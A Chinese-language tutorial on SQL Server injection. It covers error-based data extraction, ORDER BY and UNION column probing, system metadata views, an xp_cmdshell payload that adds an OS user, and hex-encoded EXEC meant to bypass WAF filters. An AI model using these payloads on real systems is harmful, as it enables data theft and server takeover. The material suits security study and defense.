对于大多数的数据库而言,SQL注入的原理基本相似,因为每个数据库都遵循一个SQL语法标准。但是他们之间也存在包括像语法、函数等许多细微的差异。所以,在针对不同的数据库注入时,思路、方法也不可能完全一样。因个人的经验所限,在接下来的实例中,只讨论Oracle 11g、MySQL 5.1、SQL Server2008三种数据库的注入。
值得一提的注入
攻击者对数据库的注入,无非是利用数据库获取更多的数据或者更大的权限,那么利用方式大致可以归为以下几大类:
1.利用错误消息提取信息
SQL Server是一个非常优秀的数据库,他可以准确地定位错误消息,对于开发人员来说,这是一件十分美好的事情,对攻击者来说也是一件十分美好的事情,因为攻击者可以通过错误消息提取数据。
(1)枚举当前表及列
现在有一张表,结构如下:
create table users(
id int not null identity(1,1),
username varchar(20) not null,
password varchar(20) not null,
privs int not null,
email varchar(50)
)
查询root用户详细信息,SQL语句如下
select * from users where username='root'
攻击者可以利用SQL Server特性来获取敏感信息,输入如下语句:
'having 1=1- -
最终执行的SQL语句为:
select * from users where username='root' and password='root' having 1=1- -'
那么SQL执行器将抛出一个错误(版本差异,显示错误信息也会有所不同)
消息8120,级别16,状态1,第2行
选择列表中的列’users.id’无效,因为该列没有包含在聚合函数或GROUP BY 子句中。
可以发现当前表名为"users",并且存在"ID"列名,攻击者可以利用此特性继续得到其他列名,输入如下SQL语句:
select * from users where username='root' and password='root' group by users.id having 1=1- -'
执行器错误提示:
消息8120,级别16,状态1,第2行
选择列表中的列’users.username’无效,因为该列没有包含在聚合函数或GROUP BY 子句中。
可以看到执行器又抛出了"username"列名,由此可以依次递归查询,直到没有错误消息返回为止,这样就可以利用having子句"查询"出当前表的所有列名。
(2)利用数据类型错误提取数据
如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另外一个不兼容的类型时,那么SQL编辑器将会抛出异常,比如以下SQL语句:
select * from users where username='root' and password='root' and 1 > (select top 1 username from users)
执行器错误提示:
消息245,级别16,状态1,第二行
在将varchar值’root’转换成数据类型int时失败。
可以发现root账户已经被SQL Server给"出卖"了,利用此方法可以递归推导出所有的账户信息:
select * from users where username='root' and password='root' and 1 > (select top 1 username from users where username not in ('root'))
如果不嵌入子查询,也可以使数据库报错,这就用到了SQL Server的内置函数CONVERT 或者CASE函数,这两个函数的功能是:将一种数据类型转换为另外一种数据类型。输入如下SQL语句:
select * from users where username='root' and password='root' and 1=convert(int ,(select top 1 users.username from users))
如果感觉递归比较麻烦,可以通过使用FOR XML PATH语句将查询的数据生成XML,SQL语句如下:
select * from users where username='root' and password='root' and 1=convert(int,(select stuff((select ','+users.username ,'|' +users.password from users for xml path(' ')),1,1,' ')))
执行器抛出异常:
消息245,级别16,状态1,第一行
在将nvchar值’root|root,admin,xxser|xxser’转换成数据类型int时失败。
2.获取元数据
SQL Sever 提供了大量的视图,便于取得元数据。下面将使用INFORMATION_SCHEMA.TABLES与INFORMATION_SCHEMA.COLUMNS视图取得数据库表以及表的字段。
取得当前数据库表:
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
执行结果如下
TABLE_NAME | |
---|---|
1 | Result |
2 | Student |
3 | tests |
4 | users |
5 | Grade |
6 | Subject |
取得Student表字段:
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=‘Student’
执行结果如下
COLUMN_NAME | |
---|---|
1 | StudentNo |
2 | LoginPwd |
3 | StudentNmae |
4 | Sex |
5 | Gradeld |
6 | Phone |
还有其他一些常用的系统数据库视图下表所示:
数据库视图 | 说明 |
---|---|
sys.databases | SQL Server中的所有数据库 |
sys.sql_logins | SQL Server中的所有登录名 |
Information_schema.tables | 当前用户数据库中的表 |
information_schema.columns | 当前用户数据库中的列 |
sys.all_columns | 用户定义对象和系统对象的所有列的联合 |
sys.database_principals | 数据库中每个权限或异常权限 |
sys.database_files | 存储在数据库中的数据库文件 |
sysobjects | 数据库中创建的每个对象(例如约束、日志以及存储过程) |
3.Order by子句
为SELECT查询的列排序,如果同时指定了TOP关键字,Order by子句在视图、内联函数、派生表和子查询中无效。
攻击者通常会注入Order by语句来判断此表的列数。
select id ,username,password from users where id =1
select id ,username,password from users where id =1 Order by 1
select id ,username,password from users where id =1 Order by 2
select id ,username,password from users where id =1 Order by 3
select id ,username,password from users where id =1 Order by 4
select id ,username,password from users where id =1 Order by 4
在SQL语句中,只查询了三列,而我们却要求数据库按照第四列排序,所以数据库抛出异常,而攻击者也得知了当前SQL语句有几列存在。在Oracle、MySQL数据库中同样适用此语句。
在得知列数后,攻击者可以配合UNION关键字进行下一步的攻击。
4.UNION查询
UNION关键字将两个或更多个查询结果组合为单个结果集,俗称联合查询,大部分数据库都支持UNION查询,如MySQL、SQL Server、Oracle、DB2等。下列列出了使用UNION合并两个结果集的基本规则
例一:联合查询探测字段数
前面介绍的USER表中,查询id字段为1的用户,正常的SQL语句为:
select di ,username,password,sex from users where id =1
使用UNION查询对id字段注入,SQL语句如下:
select di ,username,password,sex from users where id =1 union select null
数据库发出异常:
消息205,级别16,状态1,第1行
使用UNION、INTERSECT或EXCEPT运算符合并的所欲查询必须在其目标列表中有相同数目的表达式。
递归查询,直到无错误产生,然后我们就可以知道User表查询的字段数了
union select null,null
union select null,null,null
例二:联合查询敏感信息
前面已经介绍了如何获取字段数,接下来我们来看一下攻击者如何使用UNION关键字查询敏感信息,UNION查询可以在SQL注入中发挥非常大的作用。
如果得知列数为4,可以使用以下语句继续注入:
id=5 union select 'x' ,null,null,null from sysobject where xtype= 'U'
如果第1列数据类型不匹配,数据库将会报错,这时可以继续递归查询,直到语句正常执行为止。
id=5 union select null, 'x' ,null,null from sysobject where xtype='U'
id=5 union select null, null ,'x',null from sysobject where xtype='U'
语句执行正常,代表数据类型兼容,就可以将x换为SQL语句,查询敏感信息。
也有攻击者喜欢用UNION ALL关键字,UNION和UNION ALL最大的区别在于UNION会自动去除重复的数据,并且按照默认规则排序。
5.无辜的函数
SQL Server提供了非常多的系统函数,利用该系统函数可以访问SQL Server系统表中的信息,而无须使用SQL语句查询。系统函数给我们带来极大便利的同时其实也成了攻击者获取信息的利器。
使用系统函数是一件非常简单的事情,例如:
SQL常用函数如下表所示
函数 | 说明 |
---|---|
stuff | 字符串截取函数 |
ascii | 取ASCII码 |
char | 根据ASCII码取字符 |
getdate | 返回日期 |
count | 返回组中的总条数 |
cast | 将一种数据类型的表达式显式转换为另一种数据类型的表达式 |
rand | 返回随机值 |
is_srvrolemember | 指定SQL Server登录名是否为指定服务器角色的成员 |
存储过程(Stored Procedure)是在大型数据库系统中为了完成特定功能的一组SQL"函数",如:执行系统命令,查看注册表,读取磁盘目录等。
攻击者最常使用的存储过程是“xp_cmdshell”,这个存储过程允许用户执行操作系统命令。
例如:http://www.secbug.org/test.aspx?id=1
存在注入点,那么攻击者就可以实施命令攻击:
http://www.secbug.org/test.aspx?id=1;exec xp_cmdshell 'net user test /add'
最终执行的SQL语句如下:
select * from table where id=1;exec xp_cmdshell 'net user test test /add'
攻击者可以直接利用xp_cmdshell操纵服务器。
ps:不是任何数据库用户都可以使用此类存储过程,用户必须持有CONTROL SERVER权限。
像xp_cmdshell之类的存储过程还有很多,常见的危险存储过程如下表所示
过程 | 说明 |
---|---|
sp_addlogin | 创建新的SQL Server登录,该登录允许用户使用SQL Server身份验证连接到SQL Server实例 |
sp_dropuser | 从当前数据库中删除数据库用户 |
xp_enumgroups | 提供Microsoft Windows本地组列表或在指定的Windows域中定义的全局组列表 |
xp_regwrite | 未被公布的存储过程,写入注册表 |
xp_regread | 读取注册表 |
xp_regdeletevalue | 删除注册表 |
xp_dirtree | 读取目录 |
sp_password | 更改密码 |
xp_servicecontrol | 停止或激活某服务 |
攻击者也可能会自己写一些存储过程,比如I/O操作(文件读/写),这些都是可以实现的。
另外,任何数据库在使用一些特殊的函数或存储过程时,都需要有特定的权限,否则无法使用。
SQL Server数据库的角色与权限如下:
角色 | 权限 |
---|---|
bulkadmin | 角色成员可以运行BULK INSERT语句 |
dbcreator | 可以创建、更改、删除和还原任何数据库 |
diskadmin | 可以管理磁盘文件 |
processadmin | 可以终止在数据库引擎实例中运行的进程 |
securityadmin | 可以管理登录名及其属性。可以利用GRANT、DENY和REVOKE服务器级别的权限;还可以利用GRANT、DENY和REVOKE数据库级别的权限。此外,也可以重置SQL Server登录名的面密码 |
serveradmin | 可以更改服务器范围的配置选项和关闭服务器 |
setupadmin | 可以添加和删除链接服务器,并可以执行某些系统存储过程 |
sysadmin | 角色成员可以在数据库引擎中执行任何活动。默认情况下,Windows BUILTIN\Administrators组(本地管理员组)的所有成员都是sysadmin固定服务器角色的成员 |
SQL Server支持动态执行语句,用户可以提交一个字符串来执行SQL语句,例如:
exec ('select username,password from users')
exec('select'+'t username,password fro' +'m users')
也可以通过定义16进制的SQL语句,使用exec函数执行。大部分Web应用程序防火墙都过滤了单引号,利用exec执行16进制SQL语句并不存在单引号,这一特性可以突破很多防火墙及防注入程序,如:
declare @query varchar(888)
select @query=0x73656c6563742031
exec(@query)
或者
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656c6563742031/**/exec(@query)